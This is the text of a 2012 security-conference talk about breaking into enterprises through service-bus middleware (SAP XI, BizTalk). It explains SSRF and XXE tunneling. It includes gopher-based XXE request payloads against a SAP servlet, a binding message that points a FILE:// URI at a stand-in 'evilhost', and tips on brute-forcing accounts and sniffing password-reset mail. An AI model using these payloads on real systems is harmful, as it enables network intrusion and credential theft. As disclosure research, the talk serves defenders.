Invest in security to secure investments

How I will break your enterprise: ESB Security and more

Alexander Polyakov
CTO at ERPScan (Digital Security)

November 19, 2012
Me

**ERPScan**
Security Scanner for SAP

Business application security expert

**Digital Security**
The question

How to break a secure enterprise network?
Hint

What do we do if we have a secure target website on a hosting?
• We can do the same for companies
• Just Google for the target company suppliers and customers
• Pwn one of them
• Find a link to the secured company
Almost all big companies are connected to each other
To make their business work
For example, companies generate automatic Payment Orders from one business application to another
They use some kind of middleware to do this
Sometimes, those systems can be open to the Internet
Mostly not
But they must be open for partners
What kind of systems are you talking about?
Enterprise Service Bus
ESB

- SAP XI
- Oracle Service Bus
- Microsoft BizTalk Server 2010
- WebSphere MQ
What they look like
What do we know about their security?

• Nothing
  – Actually, very little info

• They can have vulnerabilities
  – A lot of vulnerabilities

• Because they are complex
  – Very complex

• And very customized
  – Because it’s more of a framework than software
Some ESB problems

ESB is all about DATA

• Missing encryption
  – Not so easy to configure, so mostly unencrypted
  – A lot of swag data transferring

• Support for a lot of interfaces and protocols
  – Many points of failure
  – Can be used as a proxy to attack other systems

And, of course, all the other software security problems
If we attack ESB from a connected company

- We have one bonus
- As we have already pwn’d the connected company
- We have auth data to connect to ESB interfaces
- But our **goal is to jump through ESB** to the target company
IBM Web Sphere MQ

- IBM Web Sphere MQ
- Middleware application for handling messaging within an enterprise network
- The first ESB that was publicly researched for vulnerabilities (in 2007)
- A great presentations by MWRLab
- Whitepaper with 87 pages of MQ insights!
SAP NetWeaver PI

- SAP NetWeaver PI / XI
- Tool for process integration / system integration
- Has SOAP Adapter
- With default services
- We found one that was accessible without authorizations

Accept XML: any XML based attack (Patched by SAP Note 1707494)

- /XISOAPAdapter/servlet/com.sap.aii.af.mp.soap.web.Dilbert.MSG
- More about this later
It is our job to interactively restore value-added information to stay competitive in tomorrow's world.
• MS BizTalk
• For the same purpose
• ESB toolkit used to be additional software, but in BizTalk 2013, it is integrated
• 0 results for “BizTalk Security” in search engines
• Doesn’t have default services with auth bypass :( 
If somebody really used it?

Microsoft BizTalk Server in BMW Bank

В «BMW Банк» запущено в промышленную эксплуатацию интеграционное решение, автоматизирующее важнейший этап продажи автокредитов — процедуру проверки данных о потенциальном заемщике и его поручителях. Созданное компанией «Неофлекс» решение позволяет снизить время проверки надежности заявителей по одной кредитной заявке до нескольких минут, а также в случае положительного решения обеспечивает передачу данных в АБС банка для автоматического формирования кредитной документации. Решение реализовано в архитектуре SOA на платформе Microsoft BizTalk Server и выполняет роль связующего элемента, обеспечивающего взаимоодействие АБС банка и фронт-офисного приложения со специализированными внутренними базами банка и внешними источниками информации.
Microsoft BizTalk: how it works

- You send data to a virtual “Input port”
- The port can be anything, from a file to an FTP folder or a web service or something else
- BizTalk takes this data and transforms it (Orchestration)
- There are special tools to perform the transformation
- Then the packet is sent to an “Output port”

So, the simple transformation can have common XML issues depending on the application
Different ways to transfer data

- Simple transfer (Static binding)
- Bindings (Dynamic binding)
- Itinerary
BizTalk Transformation example
The operation is performed by a **functoid**
There are a lot of **functoids** with math and logical stuff
One of the funniest to attack is Database lookup functoid
If you find it in some XML, you can connect to external DB’s
Sometimes with integrated security (trust)

Provider=msdaora;Data Source=thisdb;Persist Security Info=False;Integrated Security=Yes;

Also supported: Sybase, Oracle, MySQL, Informix, FoxPro, Firebird, Exchange, Excel, DBase, DB2, Access ...
Virtual ports must be linked to the real ports they call (binding)

- **Static binding.** A static port is already configured at the time of deployment to use a transport so as to deliver messages to a specific external end point. A transport type selects an adapter and a URI address.

- **Direct binding** can also be used to send messages directly into the message box. External binding configuration cannot be used with directly bound orchestration ports.

- **Dynamic Binding.** Transport types and locations dynamically selected by dynamic ports. The orchestration port is responsible for having the required properties created within the message context.
A packet with dynamic binding (any ideas?)

```xml
<ns0:OrderDoc xmlns:ns0="http://globalbank.esb.dynamicresolution.com/northamericanservices/"
   <ns0:customerName>Microsoft</ns0:customerName>
   <ns0:ID>FILE://C:\Projects\Microsoft.Practices.ESB\Source\Samples\DynamicResolution\Test\Filedr</ns0:ID>
   <ns0:requestType>10</ns0:requestType>
</ns0:OrderDoc>
```
Exploiting dynamic binding easily

```xml
<ns0:OrderDoc xmlns:ns0="http://globalbank.esb.dynamicros-resolution.com/northamericanservices/"
  xmlns:ns1="http://globalbank.esb.dynamicros-resolution.com/northamericanservices/">
  <ns0:customerName>Microsoft</ns0:customerName>
  <ns0:ID>FILE://\evilhost\aaaa</ns0:ID>
  <ns0:requestType>10</ns0:requestType>
</ns0:OrderDoc>
```
BizTalk Binding: use your imagination

- XPATH
- STATIC
- Business Rules Engine (BRE)
- BRI
- UDDI
- UDDI3
- LDAP
- MQS
- FTP
- FILE
BizTalk Itinerary: full control over the packet

- Itinerary-based routing simplifies the development of enterprise-level messaging
- In simple words, an itinerary is a **sequence of operations** performed on a message
- An itinerary consists of the list of services to execute (which can contain routing, transformation, and custom services) and the configuration information required to resolve the metadata necessary to execute each of these services
- For example, it may instruct the service to perform UDDI or Business Rules Engine (BRE) lookup for information about a specific target end point to which it will route the message

A huge area to have fun
• OK, cool, but how can we find all this stuff?
• Except sniffing?
• Answer: UDDI
• Database of all web services installed on BizTalk
• Just look for ports 80 or 8080 for /uddi or /uddipublic
• Add WSDL to URL :)
Bingo - Bongo!

A binding represents an access point and one or more instances of the service that can be accessed at that point. An Instance Info typically points to an interface of a service that is available for use.

**Access Point:**
http://www.*example.com/services/Flight.asmx

**URL Type:**
endPoint

**Binding Key:**
uddi:b6147474-00e6-441b-af63-**redacted**
And one more thing: don’t forget about web.config

```xml
<identity impersonate="true|false"
  userName="domain\username"
  password="password"/>
```
So, u are inside the company’s network
Now what?
Secure corporate network

- The Internet
- Corporate network
- ERP network
- Industrial network
But wait.
There must be some links!
Real corporate network

The Internet

Corporate network

ERP network

Industrial network
And...
Attackers can use them!
Corporate network attack scenario
But how?
Supa Sexy Robo Fashion
SSRF proxy attack

Corporate network

Secure network

Packet B
Packet A
• A possibility to use a vulnerable server as a proxy to attack other servers located in secure subnetwork
• A way to jump from one subnetwork to another
• A lot of examples of how to run SSRF attack
• We can use any popular business application to run SSRF
• More details about SSRF
For every SSRF attack, there must be at least 2 vulnerabilities to successfully trigger the attack:

• **First vulnerability**
  – Functionality in some service on Server A which allows us to send remote packets *(for other types of SSRF)*

• **Second vulnerability**
  – Vuln. in service on server B *(for remote SSRF)*
  – Vuln. in localhost service on server A *(for local SSRF)*
  – Vuln. in client app. on server A *(for back-connect SSRF)*
Multiprotocol calls (in XML)

- A lot of XML stuff in ESB
- XML seems to be the new TCP
- Almost all big projects use XML based data transfer
- There are a lot of XML based protocols with different options to call external resources and thus conduct SSRF attacks
- There is at least one element type which fits almost all XML based schemes. The type is: `xsd:anyURI`
- URIs also encompass URLs of other schemes (e.g., FTP, gopher, telnet), as well as URNs
Multiprotocol calls in XML

- XML
  - XML External Entity
  - XSD definition
- XML Encryption
- XML Signature
- WS-Policy
- From WS-Security
- WS-Addressing
- XBRL
- ODATA (edmx)
  - ODATA External Entity
  - Other
- BPEL
- STRATML
- .......

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY date SYSTEM "gopher://172.16.0.1:3300/AAAAAAAAAA" >]>
<foo>&date;</foo>

What will happen??
XXE Tunneling (Example)

Server A (Portal or XI)

192.168.0.1

POST /XISOAPAdapter/servlet/com.sap.aii.af.mp.soap.web.DilbertMSG?format=post HTTP/1.1
Host: 192.168.0.1:8000

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ !ENTITY date SYSTEM "gopher://172.16.0.1:3300/AAAAAAAAA" ]>
<foo>&date;</foo>

192.168.0.1

Server B (ERP, HR, BW etc.)

AAAAA

Port 3300

172.16.0.1

telnet 172.16.0.1 3300
XXE Tunneling (Hint 2)

- Next step is to pack exploit in packet B inside Packet A
- We need to insert non-printable symbols
- God bless gopher; it supports urlencode like HTTP
- It will also help us evade attack against IDS systems

POST /XISOAPAdapter/servlet/com.sap.ail.ai.mp.soap.web.DilbertMSG?format=post HTTP/1.1
Host: sapserver.com:80
Content-Length: 7730

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY date SYSTEM "gopher://[Uu r l e n c o d e d Packet B]" >]
<foo>&date;</foo>
POST
/XISOAPAdapter/servlet/com.sap.aii.af.mp.soap.web.DilbertMSG?format=post HTTP/1.1
Host: sapserver.com:80

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY date SYSTEM "gopher://[packetB]" >]>
<foo>&date;</foo>
Great, we can jump from one secured network to another. What’s next?
We are inside, so what?

• All your systems have password lock policies
• Because we are in a secure company, rrright?
• And secure applications send passwords securely
• While user is authenticating
We are inside, so what?

- All your systems have password lock policies
- Because we are in a secure company, rrrright?
- And secure applications send passwords securely

**While user is authenticating!**
OK, but what about creating a new user?
Create new user, MsSQL

Query: CREATE LOGIN sh2kerr WITH PASSWORD = 'testtest';
The same applies to when a user is changing their password due to security policies.
Change user password, MsSQL
More than real. 5000 users change pass every 90 days

=>

Every hour, 2 users change their passwords
If we don’t want to wait, we can brute until the account is locked, then the administrator will unlock it and 99% change the pass.
Why MsSQL?

• Just because I sometimes want to speak about something other than SAP and Oracle, so let it be MS
• It’s everybody’s problem
They have the same problems

- MySQL
- Oracle console
- Oracle Enterprise Manager
- MsSQL Console
- MsSQL Enterprise Manager
- etc...
I don’t want user interaction

• We need some kind of user interaction
• But that’s not so tasty
• Let’s look at something else
What about them?

...And 50 more
Issue tracking systems

• Noh I’m not talking about XSS/SQLI/LFI/OMG/WTF/ETC
• Of course they exist, but
• We are in a “very-very secure” company, which has WAF
• And HTTPS
• Really secure HTTPS (yes Moxie)
Any ideas? :)
To change your password, click on the following link:
http://redmine.example.ru/account/lost_password?token=4fdb72441960ec6d95af782174b3381d21

Login: sh2kerr
Sniff mail requests

Mail requests are unencrypted
Access to the kingdom
Because they usually have a wiki where all the neat stuff is stored, like keys to other systems
Questions?

web:  www.dsec.ru
      www.erpscan.com

e-mail: a.polyakov@dsec.ru

Twitter: @sh2kerr

Big thanks to Nikolay Mescherin :)}